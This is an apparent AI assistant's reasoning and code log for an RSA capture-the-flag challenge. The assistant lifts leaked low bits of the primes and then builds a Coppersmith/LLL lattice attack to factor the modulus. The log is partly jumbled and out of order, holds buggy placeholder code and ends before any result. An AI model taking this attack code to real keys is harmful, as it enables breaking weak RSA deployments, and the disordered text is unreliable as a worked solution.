I’m considering using a bivariate Coppersmith approach to solve the equation for small roots. Since f(x, y) = (p0 + 2^k x)(q0 + 2^k y) - n equals zero exactly, I could apply the congruence modulo n and try to find small roots. Given that x and y are small, this might work using lattice methods to solve for them efficiently.
Proceeding with bivariate Coppersmith approach
I’m leaning toward implementing bivariate Coppersmith using lattice methods and working with a degree 2 polynomial. This could help me find small roots mod n. Though bitwise lifting and approximations for p and q are possible, using lattice and bivariate Coppersmith seems the most feasible approach to move forward.
Exploring bivariate Coppersmith method for polynomial modulus
I'm thinking of using Coppersmith’s method for small polynomial roots modulo n. There's a lot of steps, including using lattice structures, approximating non-linear terms, and considering Diophantine equations. Unfortunately, this can get tricky with large bit sizes. I’ll proceed with lattice methods and incorporate bitwise estimates for x and y. Let's start small and adapt existing methods for the lattice.
Continuing bivariate Coppersmith factoring approach
I’m thinking we can refine this by focusing on approximations for x and y. Using the linear equation involving monomials, we could apply modular constraints to find divisor relations between the numerator and denominator. Then we aim to solve for one variable using gcd techniques. This all hinges on approximating x and using the congruence method, so let’s try computing the possible x and y values next.
Implementing bivariate small root algorithm
I’m working on implementing the bivariate approach using Coppersmith's method. The equation involves solving a modular bivariate polynomial, f(x,y)f(x,y), for small roots x0x0 and y0y0. We can apply LLL to find relations between monomials, and then solve for these small roots. We’ve confirmed that X×Y<n1/3X×Y<n1/3, which fits the necessary condition. Now let's proceed with the lattice-based technique.
Building lattice for bivariate Coppersmith
I’m setting the bivariate polynomial f(x,y)=(p0+2kx)(q0+2ky)f(x,y)=(p0+2k**x)(q0+2k**y) and aiming to solve for small roots using Coppersmith’s method. After obtaining the roots, I will use lattice reduction with polynomials like N,Nx,Ny,f,xf,yfN,N**x,N**y,f,x**f,y**f, adjusting for scaling with XX and YY. This will allow me to extract small integer roots efficiently. The lattice dimension and polynomial choices will be carefully adjusted to ensure accuracy.
Implementing bivariate Coppersmith method
I’m implementing the process to solve the bivariate Coppersmith method for root-finding. This involves defining the polynomials, constructing the coefficient matrix, and applying lattice reduction to find small roots. By ensuring polynomial coefficients are scaled appropriately, I plan to solve for factors efficiently. I'll then use tools like Groebner basis or resultants to finalize the solution.
Attempting to find integer roots in polynomial system
I’m thinking of solving this system by using resultants and substitution. First, let's compute the resultant of eq1 and g with respect to y, then work through the solution by finding integer roots of the polynomial in x. If necessary, I'll use factorization or rational root testing for efficiency, avoiding unnecessary complexity. Let's move forward with implementation.
Estimating average sentence length
states = lift_p_all(n, gift2, 777, max_states=1000)
states已分析
Calculating p and q values for attack
I’m trying to compute p0 candidates based on the lower 777 bits of p, and then apply the known bits attack. Since p is 1024 bits, p0 corresponds to the lower bits, and the rest form x. Next, I’ll compute q0 using the modular inverse of p0. Let's proceed with these calculations.
Computing potential values of p0 and q0
k=777
mod = 1<<k
cands=[]
for p0 in states:
inv=pow(p0,-1,mod)
q0=(n*inv)%mod
cands.append((p0,q0))
[(p0.bit_length(), q0.bit_length()) for p0,q0 in cands]已分析
Implementing lattice attack for x and y recovery
I’ll start implementing the lattice attack to recover x and y. The first step is to ensure that we’re using the correct p0. I’ll begin with one candidate and proceed to others if it fails. I'll try using sympy to build polynomials, but there might be performance issues with large matrices. Let’s test with small parameters first.
Implementing lattice attack for polynomial factorization
import sympy as sp, math, itertools, numpy as np
x,y = sp.symbols('x y', integer=True)
def coppersmith_bivar_factor(n, p0, q0, k, X, Y, t=2):
# Build polynomial f = (p0 + 2^k x)(q0 + 2^k y) mod n
two_k = 1<<k
f = (p0 + two_k*x)*(q0 + two_k*y) # degree2
N = n
# generate shifts
polys=[]
# multiples of f
for i in range(t+1):
for j in range(t+1-i):
polys.append((x**i)*(y**j)*f)
# multiples of N
for i in range(t+1):
for j in range(t+1-i):
polys.append((x**i)*(y**j)*N)
# determine monomial basis up to degree degmax = deg(f)+t
degmax = sp.total_degree(f) + t
monoms=[]
for i in range(degmax+1):
for j in range(degmax+1-i):
monoms.append(x**i*y**j)
# build matrix rows
rows=[]
for poly in polys:
P=sp.Poly(poly, x, y, domain=sp.ZZ)
row=[]
for mon in monoms:
i_mon=sp.degree(mon, x)
j_mon=sp.degree(mon, y)
coeff = P.coeffs()[0] # wrongRefining lattice attack implementation
I started the implementation, but I need to properly retrieve coefficients. I'll use P.coeff_monomial(mon) for better alignment. We also need to scale coefficients by powers of X and Y based on monomial degrees. I’ll take care to avoid generating too many polynomials and ensure the matrix dimensions are correct. After, I’ll apply LLL. Let’s proceed carefully with it.
Testing lll method in sympy
I want to check how Sympy’s Matrix.lll() works by creating a matrix and calling .lll() on it. Based on my memory, lll() reduces columns rather than rows, providing a reduced basis for the columns of the matrix. I’ll quickly test this with a small example to confirm.
Implementing coefficient retrieval and scaling factors
M=sp.Matrix([[1,1,1],[1,0,2]])
M.lll()已分析
Checking available functions in sympy
I think I might be using an older version of SymPy, so the lll function might be in a different location, like the sympy.matrices.normalforms module. I’ll check the available functions to see where lll is defined. Just need to confirm this quickly.
Checking available matrix functions in SymPy
dir(sp.Matrix([[1]]))[:50], [m for m in dir(sp.Matrix([[1]])) if 'll' in m.lower()]已分析
Looking for LLL method in sympy
It seems Sympy might not include the LLL method on matrices by default. But there might be an alternative method like sympy.matrices.normalforms.lll or sympy.matrices.normalforms.lll_normal_form. I'll search for these to see if they're available and can be used for our task.
Searching for LLL methods in sympy
import sympy.matrices.normalforms as nf
[m for m in dir(nf) if 'll' in m.lower()]已分析
Searching for LLL in sympy.polys.matrices
It seems like Sympy might have the LLL function in sympy.polys.matrices instead. I'll search for the lll function there to see if it's available and can be used for my task. I need to find the right place in Sympy's library for this operation!
Searching for LLL function in SymPy
import sympy
import pkgutil, inspect
# search sympy for "lll" function name
import sympy
names=[]
for modname in ['sympy', 'sympy.ntheory', 'sympy.matrices', 'sympy.polys', 'sympy.polys.matrices', 'sympy.matrices.normalforms']:
try:
mod=__import__(modname, fromlist=['*'])
for name in dir(mod):
if 'lll' in name.lower():
names.append((modname,name))
except Exception as e:
pass
names[:30], len(names)已分析
Considering LLL implementation options
It seems like the standard LLL isn't available in sympy. I could implement it in Python myself, perhaps using the Gram-Schmidt process with rational approximations (like fractions.Fraction). Although it may be slow, the dimensions aren't too large. Alternatively, I could look into other Python packages or use sage. Let's weigh options!
Exploring LLL options and libraries
It looks like options like sagecell, pycryptodome, and numpy don't have the LLL algorithm. I might try fpylll, but since the internet is offline, I can't install it now. The next best step is implementing the LLL algorithm myself, perhaps using gmpy2 if it's available. Let's check.
Checking for gmpy2 module installation
bash -lc python - <<'PY'
import pkgutil
print('gmpy2' in [m.name for m in pkgutil.iter_modules()])
PY已分析
Deciding on LLL implementation
It seems like I can't use libraries like gmpy2. I could try implementing LLL with Python's fractions.Fraction or sympy.Rational, but the performance may suffer with large numbers. Alternatively, I could use floating-point approximations with decimal or mpmath, focusing on high precision. However, LLL requires recalculation.
Searching for LLL function in sympy
bash -lc python - <<'PY'
import sympy, os, inspect
import sympy
import pkgutil
import re
import sympy
base=os.path.dirname(sympy.__file__)
# search for 'LLL' in sympy files quickly (limited)
import subprocess, textwrap
print(base)
PY已分析
Searching for function definitions in SymPy
bash -lc grep -R "def lll" -n /opt/pyvenv/lib/python3.11/site-packages/sympy | head已分析
Investigating the sympy matrix issue
It looks like sp.Matrix might be returning a MutableDenseMatrix instead of RepMatrix, which could explain why .lll isn't working. I’ll check if the Sympy Matrix class produces a RepMatrix, or if there’s a way to convert it. I’ll double-check the matrix type too.
Investigating .lll method in sympy matrices
import sympy as sp
type(sp.Matrix([[1]]))已分析
Exploring methods for matrix conversion
Okay, .lll seems to exist in RepMatrix, but not in MutableDenseMatrix. Maybe MutableDenseMatrix inherits from MatrixBase which doesn't include .lll. I’m thinking of trying to convert it to sp.Matrix([[...]]).to_DM() or check for methods like .lll_transform. I'll test conversion methods next.
Checking matrix method existence in sp.Matrix
M=sp.Matrix([[1,1,1],[1,0,2]])
for method in ['lll','lll_transform']:
print(method, hasattr(M, method), hasattr(M.as_immutable(), method))已分析
Testing method availability and conversion approaches
It looks like .lll is not available in dense matrices, and maybe RepMatrix is a newer internal class. I’m thinking of trying to import MutableRepMatrix or converting sp.Matrix using .to_DM(). I’ll also check sympy/matrices/repmatrix.py to see if .lll is in MatrixBase or just hidden. Let's investigate further.
Extracting matrix code snippet from repmatrix.py
bash -lc sed -n '430,520p' /opt/pyvenv/lib/python3.11/site-packages/sympy/matrices/repmatrix.py | sed -n '430,520p'已分析
Extracting specific code lines from a file
bash -lc nl -ba /opt/pyvenv/lib/python3.11/site-packages/sympy/matrices/repmatrix.py | sed -n '440,540p' | head -n 120已分析
Investigating possible solutions with Matrix and RepMatrix
It looks like .lll is defined in the RepMatrix class, yet our sp.Matrix returns MutableDenseMatrix, which doesn't have it. The sympy.Matrix alias probably leads to DenseMatrix. I should check if we can convert this to a matrix using sympy.matrices.repmatrix.Matrix or some other workaround. Let me explore this.
Investigating lll method in matrix classes
import sympy.matrices.repmatrix as rm
rm.Matrix, type(rm.Matrix([[1,2],[3,4]])), [m for m in dir(rm.Matrix([[1,2],[3,4]])) if m.startswith('lll')]已分析
Investigating the module import issue
It seems like the module sympy.matrices.repmatrix exists, but there's an issue with importing it. The file path suggests it should work, yet the error message indicates it can’t find the module. Maybe sympy.matrices isn't fully loading as a package? I should check its submodules to investigate further.
Inspecting sympy.matrices submodules for repmatrix
import sympy.matrices as sm
[m for m in dir(sm) if 'rep' in m.lower()][:50], sm.__file__已分析
Checking for multiple sympy installations
It looks like there might be two different installations of sympy — one from /home/sandbox/.local/lib/python3.11/site-packages/sympy and another from /opt/pyvenv. This probably explains the import issues. I should confirm which path is currently being used in the environment by checking the installation paths for sympy.
Evaluating sympy installation paths and version
import sympy, os
sympy.__version__, sympy.__file__已分析
Investigating sympy version conflict and .lll method
It looks like the current Sympy version (1.8) might be too old, and that could be why .lll is missing. There's a conflict between using the version from a virtual environment (/opt/pyvenv) and an older one from the local user site-packages (/home/sandbox/.local). I wonder if domainmatrix might still provide .lll. Let’s check!
Checking for lll in DomainMatrix module
import sympy
import sympy.polys.matrices.domainmatrix as dm
[m for m in dir(dm.DomainMatrix) if 'lll' in m.lower()]已分析
Checking sys.path for sympy version conflict
It seems that our sympy version is too old and lacks .lll. There might be a newer version (1.12) installed in a virtual environment at /opt/pyvenv, but it’s not being used. Maybe I can adjust sys.path to prioritize the venv's library before the user site. Let’s check the path!
Checking Python sys.path for virtual environments
import sys, pprint, os
sys.path[:10], [p for p in sys.path if 'pyvenv' in p][:5]已分析
Adjusting sys.path to use venv sympy
It looks like the /opt/pyvenv path isn’t in sys.path, which suggests Python isn’t using the virtual environment. I suspect the container might be using the system Python instead. But, I could manually add the venv’s path (/opt/pyvenv/lib/python3.11/site-packages) to sys.path to use the newer sympy. Let's give that a try.
Modifying sys.path to use venv packages
import sys, importlib
sys.path.insert(0,'/opt/pyvenv/lib/python3.11/site-packages')
import sympy as sp_new
sp_new.__version__, sp_new.__file__, hasattr(sp_new.Matrix([[1]]),'lll')已分析
Reloading sympy module from updated path
It looks like even after inserting the new path, Python is still loading the old version of sympy, probably because it’s already imported. I think the solution might be to remove the old sympy from sys.modules and then try re-importing it. I’ll attempt this in a separate cell to avoid breaking anything.
Reloading sympy module after removing old version
import sys, importlib
# remove sympy modules
for m in list(sys.modules.keys()):
if m.startswith('sympy'):
del sys.modules[m]
sys.path.insert(0,'/opt/pyvenv/lib/python3.11/site-packages')
import sympy as sp2
sp2.__version__, sp2.__file__, hasattr(sp2.Matrix([[1]]),'lll')已分析
Troubleshooting sympy version conflict
It seems like even after inserting the path for /opt/pyvenv, Python is still loading from /home/sandbox/.local. I’m wondering if it's due to the container executing under a different path or environment than expected. Perhaps /opt/pyvenv has sympy 1.8, not 1.12. That would explain the conflict. I’ll check for any version inconsistencies.
Investigating path order and import behavior
I added /opt/pyvenv to sys.path, but it still imports from /home. The path order shows /opt/pyvenv at the beginning, so it should import from there. Maybe there's a .pth file conflicting with it, or the path isn’t valid in my current environment. I’ll investigate further.
Troubleshooting sympy import path and version issues
import os, sys
os.path.exists('/opt/pyvenv/lib/python3.11/site-packages/sympy/__init__.py'), os.path.exists('/opt/pyvenv/lib/python3.11/site-packages/sympy/matrices/repmatrix.py')已分析
Checking Python environment path differences
It seems like there are two different file systems involved. Even though container.exec found /opt/pyvenv earlier, Python running in the Jupyter kernel might not be seeing it. Jupyter might have a different path than the container environment. I’ll quickly check if Python can list the /opt directory.
Diagnosing file system visibility in Jupyter environment
import os, glob
glob.glob('/opt/*')[:20], os.listdir('/opt')[:20]已分析
Investigating environment differences and accessing sympy
It seems like the Python kernel can’t access /opt, possibly due to being in a restricted environment, while container.exec can. Perhaps it's using a different Python environment from the container. To test, I'll run a command to check where sympy is being loaded from, which may reveal whether it's using system Python or the virtual environment.
Testing Python environment and sympy location
bash -lc python - <<'PY'
import sympy, sys
print(sympy.__version__)
print(sympy.__file__)
print(hasattr(sympy.Matrix([[1]]),'lll'))
print(sys.path[:6])
PY已分析
Checking environment differences between tools
It turns out that container.exec uses Python in /opt/pyvenv with the correct version of sympy. However, the Python environment in Jupyter (the Python tool) doesn’t have access to /opt, which makes things trickier. We can still run computations through container.exec, though it’s slower. Alternatively, I could align the Jupyter environment with /opt.
Running computations with container.exec and solving for FLAG
It seems running the complex computations for LLL might be easier through container.exec using sympy 1.13.1. I'll implement the solver script there, factoring and decrypting the data to recover the FLAG. Once done, I'll use the Pell equation to solve for the flag parts. I'll also make sure to reference the task.py file.
Verifying x and y values for the solution
I’m checking the connection between x and y from the secret and gift1. If the values used are the fundamental solution, then it should be deterministic. However, powers of the fundamental solution could make x and y large. If n > 1, the bit length would grow, but should still fit within the size limits.
Evaluating the modular reduction on x, y, and Pell solutions
The assertion uses xf0 + yf1 mod m, and while x and y can be huge, we're only concerned with them mod m. The bit length suggests we might be dealing with powers. If we choose the wrong Pell solution, it could affect the modular values and potentially make the equation unsolvable.
Solving for f0, f1 using the modular equation
I’m thinking that we might not need to know x and y exactly, just their relationship in the Pell equation. If we treat them as satisfying the equation, we could deduce f0 and f1 by solving xf0 + yf1 ≡ r (mod m). The key here is that the remainder is small and the flag halves, f0 and f1, are likely small. We can try lattice methods or brute force, assuming standard flag lengths.
Solving with a lattice approach
This seems like a closest vector problem, where we're trying to find an integer combination of x and y that approximates a multiple of m within a small error. The coefficients f0f0 and f1f1 are small, and we need to use the lattice method to find them. This involves crafting a 3D lattice to find the right vector with the smallest possible error.
Using lattice basis and scaling
I am considering using lattice reduction and scaling to find a short vector. I’ll scale the first coordinate by 1/2991/299 and the others by suitable amounts like 2B2B to keep integers. I plan to use the LLL algorithm to identify a solution that balances the size of the coefficients and residual.
Balancing vector scales and LLL reduction
I'm thinking of scaling the second and third coordinates to minimize their impact, and focus on the first coordinate. If the first coordinate is reduced to around 99 bits, it could make the vector much shorter, allowing LLL to find it. However, I need to ensure I'm using proper scaling to avoid dominant second and third coordinates.
Scaling and using LLL to decode f0, f1
I’m thinking that scaling the first coordinate by 2^-99 might make the residual r smaller but isn’t strictly necessary since r is already about 99 bits. Instead, I’ll focus on using LLL to find a short vector for f0 and f1. Once we get those, we can decode by converting them to bytes, keeping in mind the flag’s length.
Decoding with byte length handling and implementation steps
I plan to decode by converting integers to bytes, working around potential alignment issues. By focusing on flags like "flag{" or "CTF{", I’ll attempt byte conversion while inferring typical flag lengths. The core task is factoring n, possibly using sympy's LLL, and solving the bivariate modular equation with a crafted lattice.
Proceeding with simpler implementation using sympy
I’m considering using sympy’s nsolve for the polynomial system, but it might be heavy. Instead, I’ll implement bivariate Coppersmith with shifts, N multiples, and .lll() to reduce the basis. After confirming compatibility with sympy 1.13.1, I’ll solve the system step by step, considering g1, g2, and resolving via GCD or Groebner. I'll output the results within a container.
Recovering flag using LLL and lattice methods
bash -lc python - <<'PY'
from sympy import symbols, Poly, Matrix, resultant
from sympy import ZZ
from math import isqrt
n = int('18443962106578943927922829208562388331564422618353954662348987125496135728205879853444693999188714508145409575298801277623433658530589571956301880815632542860363148763704636874275223979061507756787642735086825973011622866458454405794279633717255674221895468734500735123736684346340314680683830866884050311047424068122453972745273167956795195575475691048908906061023817574695902603984554911326264947716547564759877947888574515784489778380086664649338093680740990860192640619047071160362288611331225632270531304525264824445326394068892806774552310748255977040249822464839809344521107040968321810533993659358229305320413')
c = int('8176283809770578639445916571748890916863681496488338436815389781344271720445865752568007651231910205530735296305471880971422173915403956857863330698931559658909826642456860761540607878553228782799635976463090037022164739976302533892173751687781100980039065722082091714141141136171701360981540040678479802206949078162548124224838019262997441233919136963696523351831737708850863538007579105976954619102728135600542584651031405327214877358323388674864043740117718200022790892542634633918493245432384562983429810936975869853596007429259749282607844407676244954057886824475948603911174707176467261179324130051317766768127')
gift2 = int('26161714402997656593966327522661504448812191236385246127313450633226841096347099194721417620572738092514050785292503472019045698167235604357096118735431692892202119807587271344465029467089266358735895706496467947787464475365718387614')
k = 777
mod = 1<<k
# lift p mod 2^k via BFS
def lift_p_all(n, s, k, max_states=1000):
states=[1]
t=1
while t<k:
modt=1<<(t+1)
new=set()
for p in states:
for b in (0,1):
p2 = p + (b<<t)
inv = pow(p2, -1, modt)
q2 = (n*inv) % modt
if (pow(p2,7,modt) + pow(q2,13,modt) - (s % modt)) % modt == 0:
new.add(p2)
if not new:
raise SystemExit(f'No states at t={t}')
if len(new) > max_states:
raise SystemExit(f'Too many states at t={t}: {len(new)}')
states=list(new)
t += 1
return states
p0_candidates = lift_p_all(n, gift2, k)
print('p0 candidates:', len(p0_candidates))
x_sym, y_sym = symbols('x y')
X = 1<<(1024-k)
Y = X
def recover_factors_from_p0(p0):
q0 = (n * pow(p0, -1, mod)) % mod
two_k = 1<<k
# polynomial for modular root: f(x,y) = (p0 + 2^k x)(q0 + 2^k y) (mod n)
f = (p0 + two_k*x_sym) * (q0 + two_k*y_sym)
N = n
# Build shifts up to t=2
t = 2
polys=[]
for i in range(t+1):
for j in range(t+1-i):
polys.append((x_sym**i)*(y_sym**j)*f)
for i in range(t+1):
for j in range(t+1-i):
polys.append((x_sym**i)*(y_sym**j)*N)
degmax = 2 + t # deg(f)=2
monoms=[]
for i in range(degmax+1):
for j in range(degmax+1-i):
monoms.append((i,j))
def coeffs_scaled(poly):
P = Poly(poly, x_sym, y_sym, domain=ZZ)
row=[]
for i,j in monoms:
coeff = P.coeffs()[0] # placeholder
# Build coefficient matrix
rows=[]
for poly in polys:
P = Poly(poly, x_sym, y_sym, domain=ZZ)
row=[]
for i,j in monoms:
coeff = P.coeff_monomial(x_sym**i * y_sym**j)
row.append(int(coeff) * (X**i) * (Y**j))
rows.append(row)
M = Matrix(rows)
B = M.lll()
# Convert first few vectors to polynomials (unscaled)
polys_lll=[]
for idx in range(min(4, B.rows)):
vec = list(B.row(idx))
# build polynomial with rational coefficients by unscaling
expr = 0
for (i,j),coef in zip(monoms, vec):
if coef:
expr += (coef // (X**i * Y**j)) * (x_sym**i) * (y_sym**j) if coef % (X**i * Y**j) == 0 else (coef/(X**i * Y**j)) * (x_sym**i) * (y_sym**j)
polys_lll.append(Poly(expr, x_sym, y_sym))
# Use original exact equation g(x,y)= (p0+2^k x)(q0+2^k y) - n = 0
g = Poly((p0 + two_k*x_sym)*(q0 + two_k*y_sym) - n, x_sym, y_sym, domain=ZZ)
# Try solving using resultant with two LLL polynomials
for i in range(len(polys_lll)):
h = polys_lll[i]
# compute resultant wrt y
try:
res = resultant(g, h, y_sym)
except Exception as e:
continue
R = Poly(res, x_sym)
# factor and look for integer roots by gcd with x - r? Use roots() might be heavy
# We'll use .all_roots() for small degree
try:
roots = [rr for rr in R.all_roots() if rr.is_integer()]
except Exception:
roots = []
for rr in roots:
x0 = int(rr)
if x0 < 0 or x0 >= X:
continue
# solve for y via g
# g is linear in y
A = int(g.coeff_monomial(y_sym)) # coefficient of y
Bc = int(g.coeff_monomial(1) + g.coeff_monomial(x_sym)*x0 + g.coeff_monomial(x_sym**2)*x0*x0 + g.coeff_monomial(x_sym**1 * y_sym)*0)
# Actually easier: substitute x=x0 and solve for y
gy = Poly(g.as_expr().subs({x_sym:x0}), y_sym)
if gy.degree() != 1:
continue
a = int(gy.coeffs()[0])
b = int(gy.coeffs()[1])
# gy = a*y + b
if b % a != 0:
continue
y0 = -b//a
if y0 < 0 or y0 >= Y:
continue
p = p0 + two_k*x0
q = q0 + two_k*y0
if p*q == n:
return p,q
return None
for idx,p0 in enumerate(p0_candidates):
print('Trying candidate', idx)
res = recover_factors_from_p0(p0)
if res:
p,q = res
print('FOUND!')
print('p bits', p.bit_length())
print('q bits', q.bit_length())
print('p', p)
print('q', q)
break
else:
print('No factors found')
PY已分析
Processing task.py file values
I need to read the full numbers from task.py, as the ellipses aren’t allowed. I'll open the file and extract key values like n, c, gift1, and gift2 using regex. Since these are 2048-bit numbers, I'll handle them carefully in Python. I’ll implement this within a container.
Extracting and evaluating integers from task.py
bash -lc python - <<'PY'
import re
text=open('/mnt/data/task.py','r',encoding='utf-8').read()
# Extract ints after 'n= int(' etc
pattern = r"\b(n|c|gift1|gift2)\s*=\s*int\((\d+)\)"
vals=dict((m.group(1), int(m.group(2))) for m in re.finditer(pattern,text))
print({k: vals[k].bit_length() for k in vals})
print('keys', vals.keys())
PY已分析
Analyzing RSA crypto challenge
The user uploaded a task file with an RSA crypto challenge. I need to figure out how to recover the flag. It involves analyzing the code, working with RSA parameters like large n, c, prime numbers p, q, and a value m. The script computes n and c, but does not give p or q directly. I'll look at the provided output for clues to solve it.
Decoding constants and primes manipulation
Looks like the constants n, c, gift1, and gift2 provided are from the challenge, while the script includes both generated primes and constants. The constants might be from the actual challenge output, and the script shows how they were created, but we'll focus on the constants for solving it. There's also a secret FLAG I need to figure out using gift1, gift2, and some relations.
Interpreting constants and secret values
The constants gift1 and gift2 in the challenge need careful inspection. gift1 is directly given as a coefficient, but in the generation, it's an expression involving x^2 and y^2. Similarly, gift2 is a result of a calculation with primes p and q. The challenge might imply the secret x and y values are 1.
Questioning gift1 and values interpretation
If x = 1 and y = 0, then gift1 equals the constant A. This matches the given value for gift1, but kind of raises doubts since it doesn’t provide any new info. I’m wondering if there was a copy-paste mistake or if the values are indeed meant to be solved with the given constants.
Analyzing the gift1 equation and potential values
The challenge involves some mystery around the values of x and y. If gift1 equals its printed coefficient A, it suggests maybe x = 1 and y = 0, but that doesn’t quite fit the assert condition. If x and y are large, the equation could be designed to yield a small result modulo m.
Solving for x and y based on gift1
Since adjusting m wasn’t an option, x and y can’t be 1,0. So, I have to reconsider how gift1 relates to the equation. If gift1 equals A, then the equation turns into x^2 - (B/A)*y^2 = 1. This requires calculating the GCD of A and B. I'll check with Python.
Solving RSA challenge and recovering FLAG
A=1293023064232431070902426583269468463
B=105279230912868770223946474836383391725923
import math
math.gcd(A,B)已分析
Confirming gcd(A, B) and A dividing B
If the GCD of A and B equals A, then A must divide B. Now I need to check the ratio of B to A to confirm this. This step will help clarify if A really divides B as expected. I’ll do a quick calculation.
Confirming B/A ratio and remainder
A=1293023064232431070902426583269468463
B=105279230912868770223946474836383391725923
B//A, B%A已分析
Identifying Pell's equation and factoring possibilities
Okay, B = 81421 * A, so the equation becomes Ax^2 - 81421Ay^2 = gift1. If gift1 equals A, when divided by A, we get the Pell equation: x^2 - 81421y^2 = 1. This equation has infinite solutions, confirming gift1 equals A and properly arranges the equation. Now, gift2 might help factor n.
Recovering m using RSA and constraints
I need to factor n to recover m. Given that m is 1876-bit and n is 2048-bit, we use standard RSA methods. If we can factor n, we can compute the private exponent and decrypt c to get m. Then, we can use the Pell equation to compute possible values for x and y, but the minimal solution seems the most likely based on the given constraint for the equation.
Recovering f0 and f1 using lattice
It looks like this could be a "hidden number" problem. We want to recover f0 and f1 by using lattice techniques, since the remainder is small. These halves are likely parts of an ASCII-encoded flag string, each around 14-20 bytes. We can use the congruence relation to solve for them, possibly by solving for k.
Analyzing potential sizes of x, y for Pell equation
I’m considering using LLL to approximate values for f0, f1, but the size of these values could be large compared to m (which is roughly 2^1876). Since x and y from Pell's equation can grow quickly, I’ll need to compute the minimal solution for D=81421 and see how large the values might get.
Solving Pell's equation and recovering FLAG
import sympy as sp, math, sys, sympy
D=81421
# Find minimal solution to x^2 - D*y^2 = 1
x0,y0=sp.ntheory.pell.pell_solution(D,1) # might exist
x0,y0已分析
Implementing Pell solution using continued fractions
Sympy might be missing the Pell solution method, so I’ll implement it myself using continued fractions. I’ll start by computing the minimal solution with Python by leveraging the continued fraction expansion of sqrt(D). This should be a quick implementation to figure out the minimal solution.
Computing minimal Pell equation solution
import math
def pell_fundamental(D):
a0=int(math.isqrt(D))
if a0*a0==D:
return None
m=0
d=1
a=a0
num1=1
num=a
den1=0
den=1
period=0
while num*num - D*den*den != 1:
m = d*a - m
d = (D - m*m)//d
a = (a0 + m)//d
num2=num1
num1=num
den2=den1
den1=den
num = a*num1 + num2
den = a*den1 + den2
period +=1
if period>100000:
raise RuntimeError("too long")
return num,den,period
pell_fundamental(81421)已分析
Computing bit lengths for large numbers
The numbers involved are huge, so I need to compute their bit lengths to understand their scale properly. This is crucial for making sure I’m handling them correctly and gauging their sizes properly. Let’s go ahead and compute the bit lengths to get a clearer picture.
Computing bit lengths of Pell equation results
x0,y0,period=pell_fundamental(81421)
x0.bit_length(), y0.bit_length(), period已分析
Analyzing solution and estimating sizes
The fundamental solutions x0 (1794 bits) and y0 (1786 bits) are similar in size to m (1876 bits), so x and y might be around the same size, potentially being the fundamental solution from Pell. This makes sense: x and y would then create very large numbers (around 1960 bits), so k isn’t zero. They might pick these values to keep things manageable, though other solutions could lead to even larger sizes. The combination mod m would give a small remainder, likely solvable with lattice techniques in a manner similar to Coppersmith’s method.
Considering how to recover f0 and f1
The values of x and y are likely close to m in size, and if they are fundamental solutions with gcd(x, y) = 1, we can treat this as a small-root problem: x∗f0+y∗f1−r≡0mod mx∗f0+y∗f1−r≡0modm, where r is small. We could solve for f0 and f1 using a lattice method, but first, we'd need the correct values of x and y. There are infinite solutions from Pell's equation, but we can select the fundamental one.
Analyzing the selection of x, y, and m
They generate a random prime m and check that the congruence gives a small remainder. However, they can't control f0, f1, or m, only x and y. They can choose x and y in secret, but only after seeing the flag and before generating m. The remainder probability is very low unless they choose the right x and y after m is generated.
Considering the conditions for assert to pass
For the assert to pass, they'd need to pick an m such that the condition holds, but since they generate m randomly, the probability of it satisfying the condition is very low. To get around that, they might choose small x and y values, like 1 and 2, though that wouldn't satisfy Pell's equation. Based on the computation, the smallest nontrivial solutions are large.
Considering m selection process and probabilities
It seems more plausible that they didn’t generate m randomly, but instead, precomputed constants like n, c, gift1, and gift2 using fixed x, y, flag, and other parameters. They might have picked m after ensuring the condition holds or used a search method to find values that satisfy the assert. However, the probability of the remainder being small remains essentially zero.
Considering potential for m and x,y selection
It seems likely that they constructed m and chosen x, y deliberately to keep the remainder small, rather than using random generation. Perhaps they picked x, y to satisfy Pell's equation and approximate some ratio of f1/f0. This leads into the idea of the "Hidden Number Problem" or finding an approximate multiple mod m. They may also use factorization techniques like Wiener's attack to recover m for decryption.
Considering factorization and modular techniques
I think a way to approach factorization is using Hensel lifting for 2-adic numbers. This could help solve for the lower bits of p and q mod 2^777, enabling factorization of n. Once we have these bits, we could potentially apply Coppersmith’s method to factor the modulus by reconstructing the primes.
Exploring different factorization approaches
I’m thinking about using methods like LLL on polynomials or 2-adic lifting to solve for p and q. If we can work with the known bits of p and q mod 2^777, we might reconstruct the primes. The gcd approach could work too, but Coppersmith’s method might be more reliable for recovering the full primes once we have enough low bits.
Estimating large integer value
n=int("18443962106578943927922829208562388331564422618353954662348987125496135728205879853444693999188714508145409575298801277623433658530589571956301880815632542860363148763704636874275223979061507756787642735086825973011622866458454405794279633717255674221895468734500735123736684346340314680683830866884050311047424068122453972745273167956795195575475691048908906061023817574695902603984554911326264947716547564759877947888574515784489778380086664649338093680740990860192640619047071160362288611331225632270531304525264824445326394068892806774552310748255977040249822464839809344521107040968321810533993659358229305320413")
n.bit_length()已分析
Checking the bit length of gift2
I’m confirming n is 2048-bit, but I also need to check the size of gift2. It’s important to understand its bit length, so I’ll look into that now to make sure I have the right context before continuing further.
Computing gift2 bit length
gift2=int("26161714402997656593966327522661504448812191236385246127313450633226841096347099194721417620572738092514050785292503472019045698167235604357096118735431692892202119807587271344465029467089266358735895706496467947787464475365718387614")
gift2.bit_length()已分析
Using 2-adic lifting to solve for p and q
We know gift2 equals (p^7 + q^13) mod 2^777, and the modulus is huge (2^777). To solve for p and q, we can work with this system:
- a*b ≡ n mod M (1)
- a^7 + b^13 ≡ gift2 mod M (2)
Starting with small k like 1 and lifting bit by bit using Hensel's method, we can narrow down the possible residues for a and b, knowing p and q are odd.
Applying 2-adic lifting for solution finding
We know that both p and q are 1024-bit primes, so we can compute their lower 777 bits, a and b. By solving one equation and substituting into another, we form a univariate congruence in a. We’re left with solving for a modulo 2^777 through Hensel’s lift, using 2-adic root finding techniques.
Checking parity of gift2 and applying lifting method
We're considering the polynomial g(a) = a^{20} - gift2 * a^{13} + n^{13} mod 2^k. Since M is a power of 2, we start with a ≡ 1 mod 2 and try to lift. I need to check the parity of gift2, as this will affect how we apply standard lifting methods based on the behavior of g'(a).
Evaluating 2-adic root for polynomial congruence
gift2%2已分析
Lifting using bit by bit approach
Since gift2 is even, the derivative of g(a) at 1 mod 2 is 0, which means Hensel lifting isn’t straightforward. However, I can use a more intricate lifting method by testing for multiple roots. I’ll solve bit by bit, considering potential extensions for each solution modulo 2^k. This method should narrow down our possibilities, especially given there are likely two solutions for p and q modulo 2^777.
Using properties of odd exponents for solving p and q
